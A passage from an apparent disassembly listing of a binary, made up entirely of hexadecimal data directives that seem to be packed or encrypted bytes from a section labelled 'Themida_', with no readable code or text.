		dd 6688321Bh, 46EF7AD6h, 0FC137DA6h, 8AB18E6Bh,	0EDE8425Ah
		dd 1290B2EEh, 4216CD74h, 62D5B14Dh, 710B3D75h, 8F443215h
		dd 66223207h, 0C460BD71h, 0F4D65E3Eh, 0D6226DFDh, 844839D9h
		dd 0CC70B248h, 66883DFCh, 6F329E15h, 23B26886h,	4364D429h
		dd 756D29E6h, 6644EDFCh, 662DDB15h, 8BE73215h, 0C7A4FED6h
		dd 7695C5B9h, 1D1E1A96h, 4225CD84h, 624CB14Dh, 0B0C55475h
		dd 0CC435001h, 0B0788B75h, 0BF0933CEh, 2100D3F3h, 995DB274h
		dd 0C3943DFCh, 8F883215h, 66443204h, 916D7B06h,	425F026Fh
		dd 856CDD9Bh, 782E7D93h, 0F9FB1FCh, 66172B6Fh, 66E5B61Ah
		dd 0E04B3215h, 66223204h, 661AB51Ah, 60613215h,	0A5443215h
		dd 9EA7B705h, 0E98CBF24h, 68E2AD6h, 664438FDh, 0A57D9915h
		dd 88C385D3h, 690476A5h, 66443292h, 75CB6915h, 0B9113215h
		dd 1510F64Fh, 332EE6DBh, 5780F510h, 54692002h, 69E961C2h
		dd 66442590h, 6630DB15h, 6FE93215h, 4931F4C8h, 6B16E006h
		dd 0FFD97CC4h, 0D2F08FD3h, 3474E1EAh, 664436AFh, 35D83315h
		dd 661132AEh, 0EE5B3315h, 9F1E6916h, 6867B79Eh,	8F713407h
		dd 66883206h, 0B6BD8482h, 52D102E0h, 6704F32Eh,	83265460h
		dd 731801Dh, 701C5A38h,	7F591F78h, 9EA1262Fh, 5C5D7A10h
		dd 584A3701h, 6EF85F03h, 36883215h, 9CA219D9h, 3412167Dh
		dd 0E845A45h, 0A7D07545h, 630C36FDh, 9DA8CB69h,	4F49F09Ch
		dd 776168C5h, 0CC443215h, 9E1C5410h, 0A41C2F95h, 0D6FE77F7h
		dd 63C59129h, 698FCEBEh, 66112194h, 6686DB15h, 3E2B3215h
		dd 0CF0F9488h, 4F9DB5EBh, 0F9FE289Bh, 663A9A7Dh, 421EBB15h
		dd 2C2E28AAh, 9ACEF55Ah, 290E0D0Fh, 39DE4C24h, 66113EFCh
		dd 6E54BB15h, 1BE48116h, 9F9BEAA7h, 9D12DB94h, 0EF7DCDEAh
		dd 746F9BA0h, 6632DB13h, 968B3215h, 79FAD9EEh, 4311B8BDh
		dd 0D1EF8486h, 8E797396h, 0EF883229h, 0EC4B1601h, 6622321Fh
		dd 9BD6B375h, 0ED9B2B05h, 662C53CAh, 9F223295h,	6606B41Ah
		dd 0EE873215h, 66443204h, 66223EFCh, 0B01415h, 1B3F15C7h
		dd 9550429Ah, 9E2258CDh, 83A4CDE9h, 698E2026h, 66443497h
		dd 98A95215h, 99706C42h, 748BA380h, 6654DB13h, 88A73215h
		dd 793E8774h, 0FD0ADF5Ah, 0D89845EDh, 72A96AF0h, 86986231h
		dd 66883610h, 66403715h, 62A53215h, 74F86E31h, 45883215h
		dd 0EE785567h, 0AD38C7A7h, 0E9833DD3h, 0FC8A7CAh, 9FC9B9C7h
		dd 6242010h, 66113AFDh,	0DD843115h, 0BD29FB7Bh,	0B7A95470h
		dd 0EED3B34Dh, 7A44304h, 6C88946h, 67E55F92h, 0B965299h
		dd 7A032B3Ch, 6280B331h, 9F223215h, 66155A45h, 67D03215h
		dd 0EC4B6AD4h, 66223212h, 6610B31Ah, 0EF703215h, 7441CB98h
		dd 0EA2D5213h, 66113216h, 0EC718D1Ah, 0DEAD53C2h, 8FDDCDD0h
		dd 6611321Eh, 96147050h, 0A66CC518h, 8F0806C1h,	66111BC6h
		dd 67073DE0h, 93443215h, 6EA93D75h, 69113215h, 66883098h
		dd 0ED255215h, 7427CB98h, 6618DB13h, 844C3215h,	0EA253532h
		dd 6556FD6h, 9E9A5475h,	668826FDh, 0EDC71315h, 3728D7B5h
		dd 70EDC996h, 0C6CCF693h, 0B274F271h, 69436C71h, 6611369Bh
		dd 0EC325415h, 0DD175385h, 66223215h, 55EEF914h, 89AC3694h
		dd 3F46AD56h, 25CDDB94h, 694A308Ah, 6688359Bh, 67CE3D15h
		dd 9F223215h, 1C74BF9Ch, 0E487340Ch, 66443214h,	281AB3EDh
		dd 695D7641h, 6688BF90h, 7FC53D15h, 8F223215h, 66113201h
		dd 46D6B8B6h, 1F4AD6B9h, 62320E9Ah, 2B5ECD40h, 3434C290h
		dd 623CB373h, 0E32D1C59h, 66113277h, 668820FCh,	50CF0B15h
		dd 0FD2AD693h, 0C754ADFBh, 20CF95DEh, 69595709h, 6622339Bh
		dd 3341CB15h, 31FBB4A8h, 4228332Dh, 0E77C6F11h,	3162B4FBh
		dd 0EDBCB2Dh, 66443213h, 3DFC334Eh, 661126FCh, 0FE0B7215h
		dd 897E97FDh, 0E28EF285h, 0E7F3D4F6h, 26626A43h, 0FC1B9A1h
		dd 9F242031h, 661416FCh, 8A0BC715h, 4278BB11h, 98ABF59Ch
		dd 0D91E524Ah, 9E3154EAh, 0ED145396h, 0A2A11601h, 0D91E5211h
		dd 960354C7h, 938D0374h, 6631DBB9h, 1713215h, 392DD5AFh
		dd 1DAFB008h, 0A6EFBB83h, 0D49F43D6h, 69880EDEh, 66451B91h
		dd 0E82D5215h, 66113217h, 774D19Fh, 6656BF1Ah, 6BCB3215h
		dd 0D6113215h, 0C246B19Bh, 8BD6676Ch, 0B4703BB2h, 0E21E1F29h
		dd 9977CDA1h, 6645BD1Ah
		dd 5AD73215h, 0FC953D3Bh, 93883215h, 0E44B0229h, 66223779h
		dd 0DBB975h, 68A2F194h,	697D0E74h, 99DDB993h, 6605DBEAh
		dd 0B6183215h, 4A40CB57h, 0A85A8CECh, 2E71BBC6h, 7CD616CBh
		dd 2778B773h, 6318B01Ah, 0D0713215h, 3CB453AEh,	991AB41Ah
		dd 74CBCDEAh, 0AE113215h, 0C505FF11h, 0FB14935h, 0E6BFC8A8h
		dd 8FD0751Dh, 69D70E46h, 99BB0D91h, 0B8A952EAh,	0FE476DABh
		dd 7B45358h, 62BAB01Ah,	5AD73215h, 43973D6Fh, 9E77CDEAh
		dd 6640DDFCh, 68A43D15h, 6113215h, 0F775F394h, 0E44B1A17h
		dd 66223215h, 67A96274h, 67883215h, 5FBC6AD7h, 0AFA63DE7h
		dd 9A113211h, 673361EDh, 4F443215h, 36DA69CFh, 99EECDADh
		dd 3E491BEAh, 6656DB75h, 25973215h, 0E04A5572h,	33069862h
		dd 8DF5DDD4h, 0EBAB6495h, 0A3F853EDh, 6977CDEBh, 66443B96h
		dd 0D8445215h, 0D91EC8B8h, 0AF0D53D7h, 623AB61Ah, 0E22D3215h
		dd 6611321Eh, 668834FCh, 303F9915h, 0EBB158B7h,	740867A0h
		dd 8A09CA13h, 66443211h, 0E706269Ch, 685F1639h,	0E7D176E7h
		dd 944A7CD4h, 7AA03D51h, 69113215h, 66882494h, 6655DB15h
		dd 40D83215h, 594FB18Bh, 8F29017Dh, 0ECFCFB66h,	0E5C62D0h
		dd 661162BDh, 0EFAC1E9Ch, 3BABBBC0h, 6623B11Ah,	0E5E93215h
		dd 6A0136F9h, 0EE6A8731h, 6DB6BFDh, 6613BB1Ah, 7E83215h
		dd 13EA53ECh, 72AF3DE8h, 8F113215h, 6688321Ah, 0CE61FAD1h
		dd 62C2BE25h, 0C76A9E30h, 9AFCBDB4h, 0FFFB65E9h, 0A736EB38h
		dd 819036F2h, 353E5798h, 0BAB3B352h, 67633F19h,	9F386DECh
		dd 2BD5DB94h, 0E84B328Ah, 66223204h, 8FCBB975h,	6688321Dh
		dd 0FB26A184h, 3E9F156Dh, 66A96274h, 4F883215h,	62CFA3DDh
		dd 62E6B331h, 69113215h, 66883F9Dh, 43FF5215h, 695FF668h
		dd 66113298h, 35715315h, 2225ECAEh, 3DFD1B79h, 0A190FD3Ch
		dd 0ACC53CBh, 0E54B52EDh, 66223200h, 661122FCh,	0A2369F15h
		dd 88A5C529h, 0F73CD010h, 0FC009845h, 6681DB4Bh, 923C3215h
		dd 8137C545h, 7B98E53h,	98B9C524h, 24C524h, 0A6BAEA94h
		dd 0B625C9ABh, 0C27B5356h, 664DBC1Ah, 0D5423215h, 4C128CE0h
		dd 37E935EFh, 9CC32A0h,	422EB9EAh, 8F15F696h, 6688321Bh
		dd 0E48A4B0Ah, 0E0FD98EBh, 952B6316h, 0F3055733h, 60562B40h
		dd 66223BFCh, 0F578815h, 4F2B96BDh, 0E3CFC31Eh,	60300664h
		dd 6607BA1Ah, 77613215h, 0D6443215h, 0E6B0017h,	0ECC92FB8h
		dd 7FB39EF0h, 0AD6FADC1h, 0E32DF290h, 66113287h, 66883FFCh
		dd 0B18A0615h, 41B8B26Ah, 0BD2C289Ah, 0EB870680h, 6644321Eh
		dd 662234FCh, 0F27CCA15h, 0A09A1BBDh, 74466B90h, 6ACB7513h
		dd 4E113215h, 4CBCE6D5h, 59DC724Bh, 0EB092F7h, 0B28B95C7h
		dd 95035475h, 664439FCh, 0FF408515h, 933579AAh,	21AA3849h
		dd 0FF1CD74h, 8F24203Bh, 66113204h, 549F6323h, 3C946A19h
		dd 688EF0AAh, 0E1BBC404h, 0C20DBFADh, 69422794h, 66222091h
		dd 661CDB15h, 0AFF3215h, 0AD87E01Fh, 1E6C55Ch, 999BE6BBh
		dd 0EFDACAC5h, 6286B3F7h, 0E7223215h, 661136FFh, 429CB515h
		dd 4250BB49h, 69F2CDECh, 66113E99h, 600B3D15h, 69443215h
		dd 66223296h, 69D1B715h, 66890290h, 77C33D15h, 6223215h
		dd 661137FCh, 0A08EF415h, 0E7223F49h, 7971FE4h,	0EF94B9EDh
		dd 68E2034h, 0A6C1CE74h, 66AFB71Ah, 0EA1E3215h,	66883218h
		dd 6642DB75h, 0C5403215h, 0B14AF49Ah, 0EDEE5274h, 6FA54EFh
		dd 0E3E45374h, 6003304Ch, 69083D59h, 8F443215h,	6622321Fh
		dd 0BF812CC6h, 38F8CB03h, 8F2CF39Bh, 6FBE809h, 661137FCh
		dd 0F018C715h, 140A15h,	63F8D094h, 0D3EE534Bh, 609A1C7Ch
		dd 664435FCh, 0FF84B315h, 4C01F0EEh, 0E72CB798h, 72AD3400h
		dd 72223215h, 3F030C55h, 0DE3B49A3h, 57E034D1h,	45115054h
		dd 990B4F6Dh, 668DDBC5h, 0DC6F3215h, 0EB77C76h,	66114814h
		dd 6AC269Ch, 6652BC1Ah,	77CB3215h, 0B3113215h, 0E79753EDh
		dd 0E9AE737Ch, 9AED1832h, 47E6CEFFh, 0A1708C73h, 8F94CD74h
		dd 6622321Bh, 7CB43AABh, 0DCB0B94Eh, 32298A67h,	0A6A770A4h
		dd 6622B71Ah, 74613215h, 42443215h, 0A47CEE82h,	3C544CC0h
		dd 0A3E71E87h, 0DFF71836h, 66C8DB87h, 74F83215h, 6D883215h
		dd 0AD9B7750h, 3776FFC0h, 569ABB0h, 0F13CCC11h,	3C1BB79h
		dd 9F242B6Fh, 0E7F0BB44h, 668836D4h, 62ADB315h,	0E1223215h
		dd 0EF4D1619h, 77611611h, 35443215h, 0ACCFF5D3h, 37BE820Ah
		dd 9463495Bh, 0BA2E77DBh, 66223FFCh, 8FA7B515h,	0C36841DFh
		dd 0A3F165B7h, 0EF748224h, 62D7B3F3h, 0E7883215h, 664436FBh
		dd 4216B515h, 4225BB49h, 0AD373D75h, 66443DFDh,	0F3807115h
		dd 5D2FC9A0h, 0A2946546h, 0AD1EC6FFh, 0F4AAF594h, 74B53D5h
		dd 77DCE75h, 0FFC8B798h, 99DE3400h, 6614DBC5h, 2D303215h
		dd 6DFE914Ah, 4AA73DD5h, 93113215h, 668801FCh, 6643DB15h
		dd 0BFE53215h, 0FE256016h, 0DEEE5216h, 69ADEB99h, 0AD223215h
		dd 28D3B3C3h, 0A9126AB3h, 0F2B17EF9h, 0EF436A25h, 60D1651h
		dd 74D995h, 7EFFFAFh, 60AF3D74h, 6113215h, 0B80354ECh
		dd 0E14BF174h, 6622321Eh, 26CFB375h, 69C456AEh,	625EDA2h
		dd 61AF3DECh, 6113215h,	0B0086A47h, 0EBCF53BEh,	603B4870h
		dd 692C8075h, 66883397h, 0E525CB15h, 62AB36F9h,	6DF95231h
		dd 0B1883215h, 9BDE0452h, 2F33113h, 694F34F6h, 6688379Eh
		dd 0BFC55415h, 0E43D6FCh, 66113AD2h, 0E7AC3E9Ch, 64B21611h
		dd 4B7A672Bh, 332F30E3h, 6689B01Ah, 37BD3215h, 66220EACh
		dd 35D03315h, 668832AEh, 658F3315h, 697B6916h, 66113A93h
		dd 64013D15h, 6443215h,	0EE9B6374h, 67113215h, 663361D4h
		dd 67443215h, 3D31B9DEh, 0F398CB4Ch, 609A1178h,	0EF4B6175h
		dd 66223215h, 0AC90544Eh, 0E5E9A620h, 4ACD36F9h, 5EF48F31h
		dd 93902631h, 77AC5B3Fh, 0E746DFD4h, 0D9CE4BD0h, 3BF933EBh
		dd 5747B375h, 0E715C400h, 3EA5C4CCh, 16EE5345h,	42A4B319h
		dd 222E57D3h, 0D79A624Fh, 6363FB2Ch, 571E74ECh,	53A15E20h
		dd 3EE033F5h, 661BDB75h, 6FFA3215h, 5390ADA2h, 3726C7h
		dd 7CB851Ah, 60D5A79Ch,	0E74B3407h, 66223205h, 661139FCh
		dd 99F87215h, 8B392F25h, 0D947BEDh, 4215B9E0h, 0E76FBB42h
		dd 664436D2h, 62E5B315h, 0E1113215h, 93D41629h,	426046EAh
		dd 200FC74Dh, 4B5AD14Eh, 6A990F4Ch, 3F41FA3Ch, 632E2328h
		dd 2DF26953h, 668FBA1Ah, 243215h, 3D71C99Eh, 3B940974h
		dd 698E2013h, 66440A97h, 0E319C715h, 60031178h,	66A3B11Ah
		dd 0E34B3215h, 66223214h, 9AE953E0h, 698836D7h,	66442A9Bh
		dd 6631DB15h, 93D63215h, 24E1E208h, 3B10DBCDh, 752CEC47h
		dd 29DB0F96h, 69E8537Bh, 66443195h, 0BFA95415h,	0A170F09Eh
		dd 13101611h, 52C53BF0h, 0AD046231h, 423DF361h,	3530621Dh
		dd 4F444F3Bh, 3E261651h, 661135FCh, 34851F15h, 0C5C52BBBh
		dd 620676D2h, 3FBD63DDh, 62AC7694h, 0D2A3C65h, 62067694h
		dd 107004D6h, 62AC4694h, 39D6BB4Ch, 62067694h, 37481746h
		dd 62AC7E94h, 32E62619h, 62067694h, 6B60347h, 62AC7694h
		dd 0CE324BA4h, 6623BF1Ah, 69E43215h, 6688359Bh,	67C23D15h
		dd 93223215h, 6611377Dh, 428CB915h, 9A40F696h, 3647BF98h
		dd 0E21E3407h, 66883214h, 8FA5CDEDh, 6622321Ah,	0BC3D3D95h
		dd 0E8C34BD7h, 0B2C29471h
		dd 621FA77h, 66AB60E0h,	67883215h, 66FF61E7h, 67223215h
		dd 3D12B8C6h, 6684DB4Fh, 57623215h, 1BF9D746h, 0E565D05Eh
		dd 8FB48BB9h, 67CBB61Ah, 8F423215h, 66113205h, 0BF010852h
		dd 62139978h, 0E4D6A067h, 82210289h, 24C38B73h,	69AC0E74h
		dd 6623AC91h, 979A5215h, 660D3D75h, 0E7443215h,	0DE372CE2h
		dd 5A70534Ch, 560C3D1Ah, 9A443215h, 0E22DFF29h,	661133E9h
		dd 0EE62B375h, 693169E7h, 5A43F1AAh, 4F953DFEh,	9F883217h
		dd 0E7225274h, 9E6778F6h, 9F71F174h, 6688B41Ah,	37253215h
		dd 662233ACh, 0ECE03315h, 4284B90Ch, 6640F694h,	69423215h
		dd 72F9C0A2h, 0B1883215h, 5866F993h, 19F31E89h,	63ECA1CFh
		dd 98D98DEAh, 8EA2D36Ah, 66223212h, 0C4D5A6ECh,	3EAA9595h
		dd 912C534Ah, 0EF22327Fh, 34A51611h, 0A6B9D695h, 0B2B234F1h
		dd 0A2DCF6EBh, 4600DE95h, 0E2876AF6h, 66443214h, 0E6D9B2EDh
		dd 9993B71Ah, 0E587CDEAh, 66443214h, 62A364EDh,	6D598C31h
		dd 4294B933h, 6640F694h, 8DA33215h, 401A7AABh, 66883AFCh
		dd 0BADC115h, 0D2E784EEh, 0D84765A1h, 3B857A5h,	3842D494h
		dd 9164657Ah, 10FFB3CBh, 0E7E6796Bh, 0EC7CF6DBh, 5FE4B322h
		dd 0EF9153D7h, 9D896CE2h, 75C63D4Ah, 8F223215h,	6611321Bh
		dd 0D6F77513h, 67DA465Ah, 0FA5ABEBDh, 0DF407E13h, 66883217h
		dd 2F65DB94h, 9723548Fh, 2F30F394h, 7F8B548Fh, 664FDB4Ch
		dd 0B27C3215h, 185264AFh, 0FA14FCBEh, 6688DB1Fh, 6423215h
		dd 94C551ABh, 7E95270h,	66443CFCh, 54EAD915h, 4EFE3012h
		dd 973367FDh, 7FD01F5h,	6754CDE0h, 0E5352E9Eh, 0E7E836D1h
		dd 9903C6FEh, 65AC3D6Ch, 113215h, 0E5E9F59Eh, 0E24BC9EEh
		dd 662232F0h, 661138FCh, 0EDF04315h, 0EC0FF712h, 0E5F54603h
		dd 529836F9h, 42A4B331h, 5E4F1A20h, 53E1B34Eh, 6929393Dh
		dd 66882594h, 77C53D15h, 8F223215h, 66113219h, 0B52268F8h
		dd 22109870h, 0C86CE8A5h, 66125B7Dh, 4284BB15h,	664433ACh
		dd 65D33315h, 0E7716B0Ch, 0A7455EE5h, 724617Dh,	6CCB534Ah
		dd 58113215h, 0D69D2498h, 0E685790h, 639C6483h,	67113215h
		dd 42BCB9E6h, 6640F694h, 0E7423215h, 562BDCD2h,	6F325446h
		dd 7FAD53F6h, 9FDDCDEBh, 674F841Ah, 4863B1E0h, 984EB61Ah
		dd 6FCBCDEAh, 14113215h, 0A48E0897h, 1F9A25F8h,	662206FCh
		dd 7F973D15h, 8F883215h, 66443201h, 8D95971Ah, 7B1EE54Bh
		dd 896472E7h, 0F0E76967h, 0C6E89634h, 98104C95h, 9B46B71Ah
		dd 60ADCDEAh, 0B4223215h, 728B95BDh, 9AF3DB08h,	24CDEAh
		dd 0E32DE19Eh, 66113217h
		db 75h,	53h, 0E9h
byte_5C6D4F	db 0Eh			; DATA XREF: Themida_:00550480o
		dd 6644094Ah, 8F06069Ch, 66113212h, 428203Ah, 0E75A89C9h
		dd 662236F9h, 421DBB15h, 0ED876475h, 66443215h,	8AA1534Eh
		dd 420DBB11h, 66883CFCh, 3207C615h, 1EDB7C2Ah, 44125BD6h
		dd 0E00C813h, 66445CFDh, 8F060E9Ch, 66113218h, 5AF01EC0h
		dd 6A71843Eh, 191F24B0h, 0A620C783h, 67D9EE9h, 6494B373h
		dd 0B8A35434h, 347026FAh, 0B500F09Dh, 0E760269Eh, 662236D1h
		dd 36E9CB15h, 37EE03A5h, 0AE6C28A4h, 0B90E6B73h, 0A5317A39h
		dd 0EDEE524Dh, 65C03DEBh, 0E6223215h, 0E67031D7h, 0E28742EEh
		dd 6644377Fh, 71CB75h, 7134EA94h, 5A7D534Eh, 9BC03D1Ah
		dd 69223215h, 6611339Eh, 8FB4C715h, 6C97B61Ah, 0E82D3215h
		dd 66113201h, 66883DFCh, 3E4B5E15h, 0AEEF3328h,	33A8CEC1h
		dd 91223447h, 664435FCh, 5F96CA15h, 847D1DB9h, 0E287D929h
		dd 66443CB1h, 6630DBE9h, 0F5DA3215h, 84721209h,	17E519D8h
		dd 4C0CA029h, 393E4785h, 0E287D129h, 66443151h,	60A83D75h
		dd 69113215h, 66883292h, 77AD5315h, 0C6223215h,	0E88CC299h
		dd 38D8D753h, 33CF447Bh, 474D1AE9h, 0E21ED029h,	66882236h
		dd 4270CDE9h, 62E6B14Ah, 0E1B975h, 7ED4AACh, 36602E9Eh
		dd 6227D29Ch, 63113215h, 66883211h, 3A603692h, 66223DFCh
		dd 58B2F115h, 5DA1C106h, 1A038F71h, 3B354066h, 3F3506EAh
		dd 8F8CF696h, 6644321Dh, 4CB5002Dh, 0CBCC34CAh,	30AC069Eh
		dd 0A0C5D49Ch, 66223211h, 0E115F496h, 8FD41621h, 6644321Bh
		dd 2D0EBC36h, 0A35153E6h, 9B3DADCBh, 9A8758D2h,	1D17B7D2h
		dd 6617340Ch, 36703215h, 664432ADh, 72E3715h, 96100343h
		dd 30E93E38h, 3E5CB824h, 6632BB1Ah, 0E81E3215h,	6688321Fh
		dd 664437FCh, 0AF0A3415h, 8A92E2C2h, 6A015417h,	46B48731h
		dd 67B54FEh, 1DC2B373h,	0B60954BFh, 0E625AF7Eh,	0E32DB2EEh
		dd 99EECD20h, 673765E9h, 4F443215h, 0DD426DEBh,	7B48C91Eh
		dd 668839FDh, 81A5FC15h, 5B71A07h, 52260D46h, 668821FDh
		dd 85979A15h, 41A5DDB2h, 881D5A07h, 3074899Fh, 1DD611F8h
		dd 6436B4Bh, 0ED70CAEDh, 74875B90h, 9CCF5213h, 66223DFCh
		dd 7C150D15h, 0DE536831h, 5C20D49h, 9D6F8F2Fh, 3384B974h
		dd 698E2021h, 66442591h, 77AB3D15h, 8F113215h, 66883219h
		dd 0EC0A8CC2h, 15EA000Eh, 5C7E696Bh, 0EF78BB45h, 4240B9D6h
		dd 8F26F696h, 6611321Ch, 6B3779CDh, 33249EC9h, 609D65D6h
		dd 0E7113215h, 4BD1F9D6h, 0E7BF331Ch, 4B7BF9FEh, 6FF86D1Ch
		dd 0C5883215h, 0CA4FEC8Ch, 0CA715034h, 66138A45h, 76A53215h
		dd 676A1F72h, 13237E5h,	7E121C38h, 6F0B3D4Dh, 6443215h
		dd 0E744E7A6h, 78528C2h, 64023D75h, 0EC443215h,	60CB65F2h
		dd 25113215h, 7CEA8CB6h, 5D256B47h, 77A03DCDh, 9A113215h
		dd 0E087E82Eh, 99BBCC38h, 44E2B375h, 70DAADDh, 6317D994h
		dd 8DC54152h, 49B218B8h, 0A590C93Ch, 491818B8h,	63DBF194h
		dd 77CB4152h, 0BB113215h, 2F53A33Eh, 63778F2h, 0B86CF887h
		dd 0CD37B347h, 60306247h, 0EF443215h, 0B50B6AD7h, 0E777524Fh
		dd 0D70FFEh, 6AB0DA94h,	8F8F5474h, 66113210h, 0D4EA949Dh
		dd 6EF5482h, 0E39A5444h, 0D91E6A49h, 35D853EFh,	4258B94Dh
		dd 6626F694h, 713215h, 6860FC9Eh, 0D4443215h, 443573F9h
		dd 1368B687h, 0E0AD74DBh, 3F6780BCh, 35DA9974h,	6611367Dh
		dd 0B8896915h, 5ACDC74Eh, 68A53D31h, 8F113215h,	6688321Ch
		dd 4DC1F7Ah, 7EE48871h,	679E3DB6h, 9F883215h, 6A60469Ch
		dd 0EF97BBE0h, 6172035h, 0F352EA94h, 8ACE343Fh,	4216CD74h
		dd 62D5B14Ah, 66883AFCh, 215CA815h, 92F772C4h, 4225CD2Ah
		dd 624CB34Eh, 69443215h, 6622339Eh, 52EECE15h, 0A2096B31h
		dd 66443211h, 52DDC7EDh, 0A2926C31h, 6680DB11h,	0FABF3215h
		dd 0B24E9B2Eh, 0EF42F2D5h, 624BB3F6h, 0E5443215h, 7AA536D6h
		dd 4235B931h, 66883CFCh, 0E4F73715h, 52E992A4h,	0BF038C46h
		dd 8F2F79F5h, 99BBEDE2h, 7C18175h, 1D24B7D2h, 668A340Ch
		dd 243215h, 0E744FD9Eh,	7DECBF3h, 52096440h, 0AB1D5B31h
		dd 93A36F1Bh, 68DC6B7Ch, 69D5D99Ch, 6644389Ch, 0DD445215h
		dd 0D877DAD3h, 69E9330Dh, 0EB4B3CA3h, 66223214h, 0E6E8B2EDh
		dd 66C0B11Ah, 0E7BD3215h, 147A48FEh, 37DA3346h,	868B5FACh
		dd 70A5B338h, 0E73EBF10h, 94484CE4h, 3F43334Ah,	99FC62E0h
		dd 4FDDCDEAh, 8FE86AD6h, 668832DBh, 6650DBE9h, 83FD3215h
		dd 2268E7FAh, 481B6F52h, 0DCEC5D6Ch, 8D4F2BD7h,	3577D4E9h
		dd 8F08CDA2h, 0E6BD1AFDh, 3D44DAD4h, 6616B11Ah,	0E83215h
		dd 3F12FA9Eh, 68CA5274h, 0F8113215h, 8ACF1FF9h,	0D90D9191h
		dd 13F902Eh, 6601DA84h,	0D533215h, 57319859h, 0CB7D4755h
		dd 0FB50C6Fh, 39D00FFBh, 5A938A73h, 91DBB574h, 3F4663CAh
		dd 668DDB4Ah, 67933215h, 3188DFB2h, 28173E7Dh, 81096D66h
		dd 295F68C0h, 64D9C594h, 9F30711Fh, 67073D4Ah, 93443215h
		dd 23D1D994h, 8D906B26h, 138E4340h, 0A5C5F93Ch,	13244340h
		dd 23E2F194h, 0EF876B26h, 6644320Fh, 6636B91Ah,	69F83215h
		dd 0E6883215h, 0B34CFC4Ah, 74A100F9h, 0B1F70CB9h, 0E3039032h
		dd 60563D7Ch, 662220FCh, 5A1E2215h, 375DC585h, 73382321h
		dd 9880900Bh, 0ED18F0DFh, 74BC6780h, 6CC83D13h,	6223215h
		dd 0DEDAB973h, 62E1436Fh, 23F9B174h, 6724203Ah,	6246B61Ah
		dd 5F743215h, 28C63DD6h, 9E223211h, 0E41EE12Ch,	9977C944h
		dd 627BDBEDh, 75CB3215h, 2D113215h, 46A40F10h, 647833BFh
		dd 93BF5353h, 425D1FCEh, 0E34FF4F1h, 605D4920h,	66223217h
		dd 661121FCh, 429FF115h, 0DF793294h, 0A5C07AA1h, 0FB3ED1CEh
		dd 0D2D042B6h, 4258B943h, 626F696h, 42DA9Fh, 0CD5DE994h
		dd 0D04B534Ch, 9FA2C71Bh, 32923D95h, 6883215h, 22FC54E0h
		dd 8DA35332h, 27DE1216h, 0DED8F914h, 278B1216h,	9F7AF114h
		dd 34168D42h, 890904AFh, 0F41297Fh, 50BCDD94h, 9D38FFA0h
		dd 669ADB4Ah, 45F33215h, 0B08FF189h, 46279F36h,	84CBA841h
		dd 7E40C729h, 6622A8FCh, 6614DB15h, 0C5DD3215h,	34BDEE3Dh
		dd 970ACDA3h, 0E735269Eh, 668836D1h, 0ADCF5215h, 6621B71Ah
		dd 0ED773215h, 6D6153D7h, 0F5443215h, 745CAADCh, 6F3E3D8Ch
		dd 37C17A7Fh, 3F6026E2h, 349A62E0h, 315F0F77h, 6BBFA5AAh
		dd 39BC1B4Ah, 9127DAD4h, 2AC807CDh, 0EB8D3F09h,	474E57DBh
		dd 6ECB6AD4h, 2F113215h, 56F2C55Ah, 0E7CA165Bh,	0FA4FD9D6h
		dd 0D5D2B309h, 4FD58328h, 0D5AFB3DEh, 0E77F8328h, 0FA7CD9FEh
		dd 6699DB09h, 0D1883215h, 9CE7A61Dh, 1EB614C0h,	1481B5E4h
		dd 0ED99F6F0h, 742D5B90h, 78973D13h, 6883215h, 8FB5B973h
		dd 66223201h, 85D033FCh, 0A3868A18h, 0F63FEF89h, 0DB6AE7E9h
		dd 0D6212ED6h, 6A013D74h, 69443215h, 6622349Fh,	669D3D15h
		dd 0ED883215h, 74706780h, 6628DB13h, 0A1AE3215h, 0FF2C5CC9h
		dd 83C8914Ch, 49678F96h, 69103407h, 668A9691h, 6643DB15h
		dd 16173215h, 0B6A96D4Fh, 695009EFh, 66441197h,	6624DB15h
		dd 0F42D3215h, 1318183Bh, 69970BECh, 99DBBA93h,	661BDBEAh
		dd 0B9A73215h, 761D6660h, 0A4E3CCCEh, 575AEC92h, 577B03CBh
		dd 664EDBCBh, 4F6B3215h, 11A35B4h, 0FD7593EAh, 90308447h
		dd 62CCF2CBh, 0D63EF495h, 3C78022Dh, 6657B11Ah,	0E02D3215h
		dd 66113218h, 66883AFCh
		dd 1414BB15h, 0F358F813h, 9FBBCAA8h, 66888847h,	94453215h
		dd 72A9389Fh, 62D5B131h, 668820FCh, 0B6B63F15h,	70CE0B61h
		dd 8CDF23E3h, 696CE9F3h, 6E4C7D5h, 662239FDh, 0F6519415h
		dd 0A8ACBC1Eh, 950917D2h, 0AACCB373h, 0E706D17h, 6688614Eh
		dd 0D5602E9Ch, 4E5282E5h, 0E77169CDh, 0AAB798F6h, 0D0165328h
		dd 36FCC4C0h, 0A02116A5h, 3C79124Dh, 66C13D75h,	223215h
		dd 76C2EADh, 6D61FA1Dh,	22443215h, 5917C94Fh, 0D0B8272Ch
		dd 8F22279Eh, 66443219h, 63FB74Dh, 0C8929C89h, 0DD5AA04Dh
		dd 11D88A45h, 0A50B693Ah, 0E7EA1B4Dh, 49FFAED6h, 98CF524Eh
		dd 0C67A8873h, 62A96274h, 4F883215h, 4240B9D6h,	6626F694h
		dd 0E51E3215h, 6688321Eh, 664434FCh, 0E0668015h, 0E7012D7Fh
		dd 668836F9h, 4240BB15h, 69796A46h, 6611279Eh, 6698DB15h
		dd 0AF093215h, 2B0CED97h, 4BCB6BFBh, 0E2D9F700h, 6EFD5E3h
		dd 9FCB373h, 87915205h,	34E9530Ch, 664430AFh, 0AAE4B315h
		dd 673B840Dh, 0AA66B3C3h, 3C6E840Dh, 64AF3D75h,	34113215h
		dd 0B908644Eh, 69256D23h, 66223E94h, 609A3D15h,	69883215h
		dd 66443294h, 0EF97BB15h, 8F172035h, 66883205h,	6F986A1Dh
		dd 0E98BC9Ch, 40CFC8F1h, 481562AFh, 4901B7D2h, 66233407h
		dd 77F83215h, 61883215h, 85CAE2D9h, 523478E5h, 44947529h
		dd 6B7B25BDh, 6675527Dh, 422EBB15h, 0A790D39Ch,	66883211h
		dd 0E140F396h, 697E1619h, 6611399Ah, 668EDB15h,	0D3813215h
		dd 56795B3Eh, 31352E9Eh, 0A109D59Ch, 66443211h,	0E126F596h
		dd 64D1629h, 64E8D1Ah, 1A15C494h, 5D9525B6h, 52EE5374h
		dd 0A20B6B31h, 0ED225211h, 279D54D4h, 32435378h, 624AB34Fh
		dd 0E5443215h, 72A536D7h, 75F86E31h, 0AD883215h, 0FBDA6A4Fh
		dd 0DBC03809h, 9B4AE670h, 0A0A95A08h, 8AC7E4E0h, 4226BB11h
